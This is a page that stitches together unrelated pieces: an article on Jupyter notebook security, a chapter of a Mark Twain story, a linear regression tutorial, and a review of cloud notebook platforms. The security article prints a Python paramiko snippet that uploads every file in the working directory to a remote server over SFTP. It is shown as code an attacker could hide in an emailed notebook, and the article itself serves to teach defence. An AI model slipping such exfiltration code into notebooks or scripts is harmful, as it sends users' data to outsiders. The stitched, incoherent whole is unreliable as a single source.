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Deepnote

deepnote

Did you know the second most downloaded VS Code marketplace tool is Jupyter? . It can be used locally on anyone’s machine or it can be used in the cloud through apps like JupyterHub. Jupyter is a great iterative coding environment but it was built as an open source academic tool and there are a few security risks to mitigate to use it on sensitive company data. 40M+ as of last year Local Jupyter, Global Risk Running Jupyter locally is the standard way of getting started. If you are a small team, you’re not going to want to deal with the headache of Docker and hosting, so everyone does or . pip install notebook pip install jupyterlab Now you need data! CSV risks Many data analysts download their datasets by exporting huge CSVs containing every data point so they can just use or . This makes analysis easier to access and keeps the data consistent. csv.reader() pandas.read_csv() Legal issues Most companies, where using a notebook is helpful, adhere to standards set , , , and , all of which have specific rules for data storage and handling–and those rules probably don’t have a subsection dedicated to storage and handling on ‘Dave’s macbook.’ GDPR CCPA HIPAA PCI DSS So if you have a CSV or some other exported data on your local machine, then are you allowed to have it? Attacks Data stored locally is typically not encrypted. Personal computers do now come with encryption capabilities (BitLocker on Windows, FileVault on Mac), but these aren’t turned on by default. And if they weren’t, often they can’t then be added as an afterthought. If a local computer lacks such encryption measures, it leaves the stored data vulnerable to a variety of threats – , Ransomware, Theft, and . Malware Phishing That last one, phishing, is an interesting security quirk with Jupyter notebooks. For instance, if you’re collaborating with a colleague on a notebook, it’s not uncommon to just email the .ipynb files back and forth (of course, you can kinda use version control). So if you were to receive an email ostensibly from your coworker saying ‘check out this cool visualization I added!,’ a lot of people wouldn’t think twice about opening it and running it. But the notebook could easily include the code below (maybe obfuscated across different cells and hidden in other code): import os
import paramiko

ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname=hostname, username=username, password=password)
sftp = ssh_client.open_sftp()
remote_directory_path = '/path/to/remote/directory'
for filename in os.listdir('.'):
  local_filepath = os.path.join('.', filename)
  if os.path.isfile(local_filepath):
    remote_filepath = os.path.join(remote_directory_path, filename)
    sftp.put(local_filepath, remote_filepath) Congrats, you’ve just uploaded all your data to a random server. Is this going to happen? Unlikely, but possible. But the wider point is that, with sensitive data on your local computer, you immediately open yourself up to all types of attacks. Jupyter Notebooks will run any code. Though they do have , the general idea is that you are the master of your domain–if you hit ‘Run all’, run all is what you get. Analyst beware. some safeguards Buyer Leaks Data can also be unintentionally leaked from a machine by the user. Firstly, through the cloud. Just like a lot of OSes don’t have encryption turned on by default, they do have cloud syncing turned on. It might not be obvious to a user that everything in their Documents or Downloads folder is also being uploaded to cloud storage (which again might not have the requisite compliance guarantees). Or at one point many moons ago you synced your Code folder to Dropbox or GDrive as an Ersatz version control and now it holds all the company’s data. But you can also leak it to your colleagues. If you are sharing notebook files, you’ll also have to share the data. Suddenly, your data isn’t just on your local computer. It’s sitting in your email, and your colleagues email. It’s sitting on your shared GDrive, or in GitHub. What was one copy you downloaded to make analysis a little easier, is now a dozen copies that are all in various states of unprotection dotted around the web. To mitigate the risks with using CSV files for Jupyter Notebooks you should follow the or connect directly to the database instead. standard corporate IT security training suggestions Database risks Most analysts at a company will use database connectors such as  snowflake-connector-python, psycopg2, or sqlalchemy to access their data. Accessing data this way means you don’t have to worry about the security of the local copy of data, or is vulnerability if the machine is compromised or stolen. You aren’t sharing the data files around so don’t have to worry about the copies. But you do have to worry about two things: Storing credentials Now the data isn’t the problem, it is the access to the data. You have to have your credentials stored correctly. Correctly means not hardcoded into your Jupyter Notebook, which you are emailing to people. This can be a glaring security risk as it gives anyone who has access to your notebook the keys to access your data, including potentially sensitive or proprietary information. Instead, you should use a secure method for managing your credentials. A simple and secure practice is to use . This involves storing your credentials in your system's environment and retrieving them in your notebook via function in . This way, you're not explicitly exposing your credentials in your code. environment variables os.getenv() Python Here's a basic example: import os

#Obtain credentials from environment variables

username = os.getenv('DB_USERNAME')
password = os.getenv('DB_PASSWORD') For an even higher level of security, consider using a dedicated secrets management service. These services, like or , securely store your sensitive data and provide programmatic access when needed, often through an API. AWS Secrets Manager HashiCorp Vault Jupyter does cache data in a number of ways, which could pose a security risk if not handled correctly. Cached data The main form of caching in Jupyter notebooks comes in the form of output cells. When you run a cell in a Jupyter notebook, the results are displayed under the cell and stored in the notebook file itself. This can include dataframes, graphs, images, or any other output. If your notebook contains sensitive data in the output cells, and the notebook file is shared or stored insecurely, it can lead to exposure of that data. For example, if you're querying sensitive data from a database, and then displaying that data directly in a Jupyter notebook, that data will be stored in the notebook file itself. This means you are open to all of the same security problems as with local data–if an attacker can access your notebook, they can access the data, or if you share the notebook, you are also sharing the saved data. Mitigating Local Jupyter Risks In terms of mitigating these security risks, it's a good practice to: Clear the output cells containing sensitive data before sharing or storing your notebooks. This can be done from the menu: Cell -> All Output -> Clear Regularly clear or secure your command history database. Be mindful of how and where you're sharing or storing your Jupyter notebooks. Consider using data masking or anonymizing techniques when working with sensitive data. Remember, while these steps can significantly reduce the risk, no system can be completely secure. Finally, released a Jupyter security extension, , as the culmination of their own research into the problems with Jupyter security. It scans your Jupyter environment for possible security issues and will highlight them for you in the notebook. NVIDIA Jupysec This type of proactive security should become a feature of your data pipeline if you are working with Jupyer in any capacity. But instead of having to actively manage the risk on your local machine, you could mitigate these risks by moving Jupyter into the cloud. There is a non-local way to run Juptyer notebooks: JupyterHub JupyterHub is a multi-user server that manages and provides Jupyter notebooks to a group of users. It is a centralized system that can serve Jupyter Notebook instances to multiple users, allowing them to work on interactive data science projects in their own personal workspace but on the same server. JupyterHub is particularly useful in an environment where you need to distribute computational resources and environments among several users, such as in large collaborative projects on a data team at a company. With JupyterHub, you can spawn, manage, and proxy multiple instances of the single-user Jupyter Notebook server. JupyterHub also includes: : JupyterHub has a pluggable authentication mechanism. It can be configured to use various authentication protocols, enabling integration with a broad range of identity providers like OAuth, LDAP, etc. Authentication : JupyterHub is often used with Docker to provide each user with their own isolated environment. Other container or virtual environment technologies like Kubernetes can also be used. Containerization : JupyterHub supports Role-Based Access Control, providing a fine-grained control system for defining user roles and assigning specific permissions to those roles. Role-Based Access Control (RBAC) RBAC, in particular, is an important feature that enables administrators to control who has access to what within JupyterHub. For instance, some users can be assigned the role of an 'admin' to manage the service, while others could be 'users' with access to their individual notebooks only. This capability helps enhance the security of JupyterHub and prevents unauthorized access to sensitive resources. It's particularly useful in large, collaborative environments where different levels of permissions and access rights need to be assigned. BUT, there’s a problem word in that previous paragraph–’administrators.’ Moving to JupyterHub is more secure if you administer the instance properly. However, effective administration of a JupyterHub instance is not a trivial task and requires a solid understanding of security principles, the JupyterHub system itself, and its associated technologies. A poorly administered JupyterHub instance can be just as risky, if not more, than individual Jupyter notebooks with lax security practices. Setting up the server, managing user permissions, ensuring that the system is regularly updated to patch any security vulnerabilities, monitoring for any suspicious activity, and responding to potential security incidents are all responsibilities that fall on the administrators. Ineffectively performing these duties could lead to a variety of risks, from data leakage to unauthorized access, to potential misuse of computational resources. Furthermore, the "human factor" also plays a significant role. Even the most secure systems can be compromised due to human error. Administrators, like all users, can make mistakes–they can accidentally grant excessive permissions to a user, overlook important security updates, or misconfigure security settings. Especially if those ‘administrators’ are actually just data leads. Effectively, moving to JupyterHub means that data lead on the team becomes more like DevOps, supporting the admin side of deploying the instance rather than working on the data. Secure Cloud Notebooks You can run Jupyter notebooks securely–it just takes a lot of effort. If you are a large team, you probably need someone dedicated to this, and you’ll need a codified process that’s incorporated into your training so everyone knows how to use Jupyter securely. But there are alternatives–cloud notebooks. Risk Mitigation Jupyter with CSV data Data is stored or replicated in a non secure place Connect directly to a database Jupyter with Database data Credentials may be stored in a non secure place or sensitive data may be cached and accessed Use Jupyter in the cloud Cloud Jupyter Permissions and environments are not properly set up so people have improper access and try to move data into other environments. Use Cloud notebooks By leveraging cloud notebooks, teams can focus more on deriving insights from their data and less on navigating the complexities of securing Jupyter notebooks. Some options for analysts are: Deepnote is a unique cloud notebook designed to offer a seamless and interactive experience for data scientists and engineers working in Python. This platform offers real-time collaboration, enabling multiple users to work on the same notebook concurrently. One of its strengths is the intuitive and user-friendly interface, which makes it easier for users to develop, run, and share their code. Deepnote integrates effortlessly with various data sources and tools, promoting accessibility and versatility. Deepnote For security, Deepnote offers encrypted connections, ensuring data sent and received is protected from unwanted eyes. It also provides a robust permission system, allowing team leaders to dictate who can view or edit specific projects. Its smart features, like variable explorer and auto visualizations, help elevate overall productivity, making it a go-to choice for professionals in the field of data science. Google Colab s a widely recognized and utilized cloud notebook service provided by Google. It enables users to write and execute Python code in a web browser with zero configuration, free GPU access, and easy sharing. Colab is well-regarded for its ease of use, accessibility, and integration with Google Drive and other Google services. Google Colab i It's deeply integrated with Google Drive, allowing easy sharing and collaboration within familiar Google environments. Security is bolstered by Google's robust infrastructure, which encrypts data both in transit and at rest. Given that it's a Google product, users benefit from the same security measures applied across Google services. For teams operating in a Google-based ecosystem, Google Colab presents an accessible and secure environment for notebook execution, especially when budget constraints are in play. It supports various machine learning libraries and frameworks, making it an ideal environment for machine learning and data analysis projects. The provision of free resources and the user-friendly interface have contributed to its immense popularity among educators, researchers, and developers. Hex offers a centralized platform where you can conduct your data analysis, visualize the results, and even create interactive data apps–all while maintaining high levels of security. This eliminates the risk of unencrypted data exposure and unauthorized access that may occur when notebooks are distributed across local machines. Hex Hex ensures that all data sent and received are encrypted, mitigating the risk of data interception. And perhaps one of the most appealing security features of Hex is its ephemeral nature. After a user session ends, no residual data is left on the servers, minimizing the risks associated with data at rest. Hex also simplifies the access control process. Instead of each analyst managing their own set of credentials to connect to databases or APIs, Hex provides an interface where your team can centrally control and monitor who has access to what data. Lastly, Hex is HIPAA and SOC2-compliant, meaning it adheres to some of the strictest standards when it comes to protecting sensitive and personal information. This makes it an attractive option, especially for businesses operating in industries like healthcare or finance where data security is paramount. Amazon SageMaker is a fully managed service that provides developers and data scientists the ability to build, train, and deploy machine learning models quickly. It is highly scalable and flexible, allowing users to create Jupyter notebooks for easy data exploration and analysis. SageMaker stands out due to its wide array of features, including built-in algorithms, model tuning, and high-performance runtime for inference. Amazon SageMaker Security is at its core, given that it's a part of the AWS suite. All data is encrypted in transit and at rest in the SageMaker environment. With fine-grained access controls, businesses can stipulate who can access specific datasets, notebooks, or model artifacts. Its integration with AWS Key Management Service (KMS) also means that users can create and control their encryption keys. Furthermore, SageMaker complies with key certifications such as HIPAA, making it a go-to for industries that demand high levels of data protection. SageMaker is particularly beneficial for enterprises and professionals looking to deploy robust and efficient machine-learning solutions. Paperspace is a high-performance cloud computing platform that focuses on developing machine learning, data science, and other compute-intensive projects. It offers Gradient, a cloud notebook platform aimed at enabling collaboration and development in machine learning and deep learning. Paperspace provides powerful GPU-backed machines, making it suitable for training complex models. Paperspace Safety and security are given top priority, with all data transmissions secured via SSL/TLS encryption. Their cloud infrastructure ensures that data at rest is also encrypted, guarding against potential breaches. With its team-focused features, Paperspace allows admins to easily manage access controls, ensuring only authorized personnel have access to critical datasets or models. Furthermore, its snapshot feature means that your work can be easily backed up, adding another layer of data security. The platform is appreciated for its versatility, allowing users to run different types of environments and supporting various machine learning frameworks. Its scalable infrastructure and advanced features make it an attractive option for professionals working on demanding computational tasks. Whichever you choose, it's essential that all users remain aware of security best practices, as technology can only mitigate, not eliminate, security risks.

Working Securely with Jupyter

The $30,000 Bequest, and Other Stories by Mark Twain, is part of the HackerNoon Books Series. You can jump to any chapter in this book . CHAPTER VIII here CHAPTER VIII Another day dawned, and grew, and spread its sunshine in the earth. Aunt Hannah brought comforting news to the failing mother, and a happy note, which said again, “We have but a little time to wait, darling mother, then we shall be together.” The deep note of a bell came moaning down the wind. “Aunt Hannah, it is tolling. Some poor soul is at rest. As I shall be soon. You will not let her forget me?” “Oh, God knows she never will!” “Do not you hear strange noises, Aunt Hannah? It sounds like the shuffling of many feet.” “We hoped you would not hear it, dear. It is a little company gathering, for—for Helen's sake, poor little prisoner. There will be music—and she loves it so. We thought you would not mind.” “Mind? Oh no, no—oh, give her everything her dear heart can desire. How good you two are to her, and how good to me! God bless you both always!” After a listening pause: “How lovely! It is her organ. Is she playing it herself, do you think?” Faint and rich and inspiring the chords floating to her ears on the still air. “Yes, it is her touch, dear heart, I recognize it. They are singing. Why—it is a hymn! and the sacredest of all, the most touching, the most consoling.... It seems to open the gates of paradise to me.... If I could die now....” Faint and far the words rose out of the stillness: Nearer, my God, to Thee,

     Nearer to Thee,

     E'en though it be a cross

     That raiseth me. With the closing of the hymn another soul passed to its rest, and they that had been one in life were not sundered in death. The sisters, mourning and rejoicing, said: “How blessed it was that she never knew!” About HackerNoon Book Series: We bring you the most important technical, scientific, and insightful public domain books. This book is part of the public domain. Mark Twain (2004). The $30,000 Bequest, and Other Stories. Urbana, Illinois: Project Gutenberg. Retrieved October 2022 https://www.gutenberg.org/cache/epub/142/pg142-images.html This eBook is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included with this eBook or online at , located at . www.gutenberg.org https://www.gutenberg.org/policy/license.html

Aunt Hannah brought comforting news to the failing mother

Linear Regression is one of the oldest and widely used Machine Learning algorithm which is used to train a model against two variables - Independent Variable and Dependent (Target) Variable. If you wish to learn more about AI and Machine Learning, you may see my blog on . Artificial Intelligence In this project, I will be training a model to predict Sports Sustainability. Sustainability in sports means conducting a sporting event that utilises environmentally friendly methods to reduce the negative impact on the environment. Just like every industry, sports has a supply chain issue. When enjoying sports like Cricket or Football, we tend to forget about environment. But we need to think beyond the tournament: who is making players’ kits and boots? Where is the water feeding the pitch coming from? How was the stadium built, and how is it maintained? What’s the impact of major tournaments like the Champions’ League or the Olympics, where hastily erected stadiums and hundreds of thousands of fans take over local areas?. Moreover, are certain actions – like disposable cups in stadiums, or the use of recycled fibres in kits – simply a sticking plaster over much wider issues across the entire supply chain? For this project, we have a dataset containing data about the number of suppliers of sports goods and the corresponding carbon emissions from them (in metric tons). I am going to use for training and evaluating the model. Before building the model, we need to analyze the data, for any errors or ambiguities, and identify the trends in the data. I will be using and for data analysis and as plotting library for plotting graphs and charts. So, without wasting any further time, let's jump right in. Scikit-learn Pandas Numpy Matplotlib Bootstrapping First, let's install and import the required packages as shown in the codeblock below. %pip install pandas numpy matplotlib import pandas as pd 
import numpy as np 
import matplotlib.pyplot as plt Data Analysis with Pandas With the project dependencies installed, let's move forward to import our dataset using pandas. In the first line, I have created the dataframe by importing dataset with function and in the second line, I dropped the year column as it does not provide any relevant information for our model. This is an example dataset and has only 16 data points, but production models are trained on much larger datasets containing hundreds and thousands of data points. pd.read_csv() https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/47add66952e24ad78656b37261f2be19?height=653&embedable=true Then, we will get the columns using and the shape of the dataset using . df.columns df.shape https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/6f03295e5fa247fd8862f4911e78ce4e?height=134.1875&embedable=true https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/1f2540fdbc064b7cac6a113828c1e165?height=134.1875&embedable=true Then, we will get information about the dataset using . It gives us the columns of the dataset, non-null count which means the number of values in the column which are not null and the data type of the values in the column. df.info() https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/19c79fe453fd400d91472d7b8f7c1d14?height=290.6875&embedable=true Then, I am going to analyze the mean, median, standard deviation, count, min and max and several percentages of the data using . df.describe() https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/6d1410f72c464752b5a62335dfb7c6ff?height=535&embedable=true Now, plot a scatter plot for the data points using pandas. https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/9f009f07042140edbfe097a4ce6972f5?height=538&embedable=true Model Training Now, we have completed analyzing the data, so, we will begin with model training. Before starting with model training, we are going to import the required modules. from sklearn.model_selection import train_test_split 
from sklearn.linear_model import LinearRegression 
from sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error import joblib Now, we need to initialize two variables - which is our independent variable and which is our dependent or target variable. contains the feature and contains the which we need to predict. x Y x Number of Suppliers Y Carbon Emissions from Suppliers (metric tons) https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/6e301a4f028f4ff1a671de61200f1260?height=645&embedable=true Now, we will split our dataset into training data and testing data. In the code block below, we are to a array and then assigning one part to which is our training data from variable and another part to which is our training data from variable. Similarly, we are creating and which holds our testing data. The size of testing dataframe is or approximately of the original dataset. x numpy x_train x y_train Y x_test y_test 0.2 20% https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/9616e92cc3a74dadbc7c1d0aca33684d?height=363.25&embedable=true Now, finally, it's time to fit the data into the model. To do so, first, we need to initialize the class imported from with a variable. Then we use to fit the data and our model is ready to use. LinearRegression() scikit-learn model model.fit() https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/c22bb707d9834956ab3a643e0dcd0122?height=191.34375&embedable=true Now, let's make predictions using the model built in the previous step. Here, we need to pass the as a array into the function. And we get the as our output. Number of Suppliers numpy model.predict() Carbon Emission in metric tons https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/7038028590fb4e47a900348d5f6c3ea7?height=134.1875&embedable=true Model Evaluation We have successfully built our model from scratch in the previous step. But, now, we need to evaluate our model's accuracy and performance. This is a very crucial step in Machine Learning Lifecycle. So, now let's begin with model evaluation. In model training stage, we created and and now we will be using those two to test the model. x_test y_test I will be creating an array named which will contain predicted values of data points of . y_pred x_test https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/e8e50d395a8440658bf37abe75be277f?height=209.75&embedable=true We will be using score, intercept, coefficient and R² score. The score of the model is 99.671% at the time of publishing this blog, which is quite good. R² score is quite fine. https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/bde2413106204e198c824a2a9156fd0f?height=338.125&embedable=true Now, I am going to compare the values of which is the actual value of the data points and the values of which are the predicted values. I will do this by plot a graph of Actual vs Predicted values. y_test y_pred https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/aa7b09468ccc4a4e811b07aa8ba0c397?height=755&embedable=true Saving the Model Now, we need to save our trained model for future use. We will pickle the model using package. joblib def save_model(model):
    joblib.dump(model, open('model.jlib', 'wb+'))

save_model(model) Now, we have saved our model. Let's try out the saved model by loading it as and then make predictions using the saved model. saved_model saved_model = joblib.load('model.jlib') https://embed.deepnote.com/63de8c65-d4af-49f5-ad1b-f6c3cc845557/40d5495aa49d45fd987753bf3d581304/e66df9d951d242f487eea56b83b5d7a8?height=134.1875&embedable=true As we can see above, the saved model gives the same output as the original model. Final Thoughts In this blog, I demonstrated how to build a Linear Regression model to predict the sustainability in sports. We used and to analyze the data and then used to train the model. After Model Evaluation, the last step is Model Deployment. I will demonstrate deploying ML models on using Framework in some other blog. I have already deployed this model, so if you want to try it out you may check out the link below. Pandas Matplotlib Scikit-learn Hugging Face Spaces Gradio Deployed Model - https://jishnupsamal-sports-sustainability.hf.space Originally published at jishnupsamal.ml

How to Build a Linear Regression Model

You don’t need a fancy PC to get started with data science and machine learning. In fact, you can run all your code in cloud-based notebooks without even worrying about setting up an environment locally. Even if you’re new to data science, you’ve probably heard of Jupyter Notebooks. It has become the number 1 way to do data science. Jupyter Notebooks make it so much easier to run your code, write commentary and see your output all in 1 place. Almost all cloud platforms use some kind of Jupyter-like environment. In this blog post, I am going to share 5 ways you can do data science in the cloud. Each of these platforms allows you to do this completely for free and they each work really well. In my opinion, the 2 biggest upsides of using cloud platforms for data science are: Speed of set up – You can get set up in just a few minutes and have almost everything you need to do machine learning available to you. You don’t need to go through the hassle of setting up an environment locally before you start writing code and analyzing data. Collaboration – Being able to share your work and collaborate on projects is a big upside of any kind of cloud platform. However, collaboration is not available for all the platforms listed here. Even when it is offered, the degree of collaboration differs from platform to platform. 5 platforms will be covered in this post: Datacamp Workspaces Kaggle Notebooks Google Colab Deepnote Datalore by JetBrains Gradient Notebooks There are a few things you should note about how I have judged these platforms. I have actually tried each of these platforms myself and am giving my own opinions on what I think of them. My primary use of cloud platforms is to work on personal projects and not for company or enterprise use. These are the criteria that I am using to compare these platforms: Price – they should be free or at least offer a decent free plan (not just a trial) Speed of set-up and low admin – I shouldn’t have to ‘babysit’ my projects in case I go over ‘allowed hours’. I’d like to be able to log on, work on a project and log off without worrying about whether I shut the server down. Aesthetic and intuitive – the app should look good and it should be intuitive and easy to use Collaboration – I’d like to be able to share my work with friends and be able to collaborate on them live. I’d also like to have the option to share securely if I want to, without my project being available publicly. Great, now that I’ve cleared all that up, let’s get into it. DataCamp Workspaces recently launched their Workspaces feature that allows you to run code in a Jupyter-like environment. There is currently no collaboration feature but it is . Right now, you can just share your notebooks with other people and they are able to view them and add comments. DataCamp something they are working on DataCamp’s philosophy with the initial launch of Workspaces is that they want it to be as easy to do data science as it is to learn it. They have already created an incredible interactive environment for learning data science and Workspaces seem like a natural next step for anyone who now wants to easily apply their skills and start putting together a portfolio. The Workspaces are completely free and you can choose between R or Python. So far, their notebook editor looks good and it is intuitive to use. There is also no admin involved in running or maintaining the workspace which makes it hassle-free. Kaggle Notebooks To me, is like the OG of cloud-based data science platforms, having started way back in 2010. Initially, they started out as a machine learning competition platform. Since then they have expanded and now offer ways of sharing datasets, notebooks and have a huge community in their forums where you can ask questions and get help. Kaggle Kaggle notebooks are free to use, with the option to choose between R and Python and they integrate well with other services. You can even connect your Kaggle notebook to Google Cloud Services to beef up the hardware if you need it, although this will come at an additional cost, of course. Kaggle does provide access to a GPU and for personal projects, it is usually more than enough. Collaboration on Kaggle notebooks is limited. Similar to DataCamp, you can share your notebooks with other people (such as your teammates in a competition) but you effectively work on different versions of the notebook so there is no live collaboration feature. Google Colab is another one of Google’s products that operate as a natural extension of Google Drive just like Google Docs or Sheets. If you already use these other products then the Colab UI will feel very familiar. Google Colab Naturally, sharing on Colab notebooks is built-in. However, it does not seem to be capable of live collaboration (ie. with 2 or more people editing a notebook together in real-time). I find this to be disappointing since Google basically wrote the book on real-time collaboration with Docs and Sheets. Colab is also not a particularly pretty app, especially when compared with some of the other platforms I’ll be covering on this list. However, since almost everyone interested in data science most likely has at least 1 google account, setup is by far the fastest. It is free to use Colab but the resource is not guaranteed and there are several usage limits that change depending on demand. Your usage limits could even be different from mine if your code uses more resources. Deepnote is by far the most good-looking, full-featured platform I have come across. The UI looks great, the editing experience with their notebook is amazing, and they have collaboration! All of this and it is still free to use (up to a point) plus the platform is still in Beta so you know there is much more to come. Deepnote live I particularly like their publishing feature – you can publish your notebook as an article or as an interactive app or dashboard. I just love the presentation of the articles and dashboards. Your profile on Deepnote also acts as a portfolio and it is a great viewing experience for anyone looking through your work. You can get up to 750 hours on their standard machines and each notebook comes with a nifty little feature that automatically shuts the machine down after 15 minutes of inactivity. This keeps the admin pretty low on this platform. Datalore is a platform built by the JetBrains team. The UI looks good and it also comes with live collaboration. There are also a few more options in terms of programming languages with this platform – you can choose between Python, R, Kotlin, and Scala. Datalore There is a bit of admin involved with this platform. On the free plan, you get 120 hours/month of basic machine time. However, once you open a notebook, so long as it is an open tab in your browser it will consume resources and eat into your available hours. Because of this, it is important to either close the tab or manually shut down the machine. Also, if you’ve shared one of your notebooks with someone and they forget to close their browser window down at the end of the day, it’ll eat into your available quota. So that’s something to keep in mind. Gradient Notebooks are built by Paperspace. The biggest selling point of Gradient is that they offer free GPUs. For the free plan, Instead of restricting the number of hours on the platform, the only limits they impose is that you can only ever have 1 notebook running at a time and all notebooks must be public. Gradient Notebooks Getting set up on the platform and launching a notebook can take a good couple of minutes since all that additional hardware that they offer needs to be provisioned. There is also limited functionality for publishing notebooks and building a portfolio of projects using their platform. They are a public profile feature, so at least it’s in the roadmap. currently working on Gradient is the platform to go to if you need more resources and more compute for your project and you don’t want to pay a cloud provider like Google Cloud or AWS to get it. Closing Thoughts Choosing which cloud platform to use depends on your own goals and needs. If you’re looking for a place to build a portfolio and get involved in a large community while you’re still learning and improving your data science skills then I’d recommend Kaggle or DataCamp. If you’re looking for a platform that’s got all the bells and whistles, allows you to build a professionally-looking portfolio, and offers real-time collaboration then I’d recommend Deepnote. If you’ve started branching out into deep learning, NLP, and computer vision then I’d recommend giving Gradient a try. See for a comprehensive list of almost all available data science notebook platforms. this resource Also Published Here

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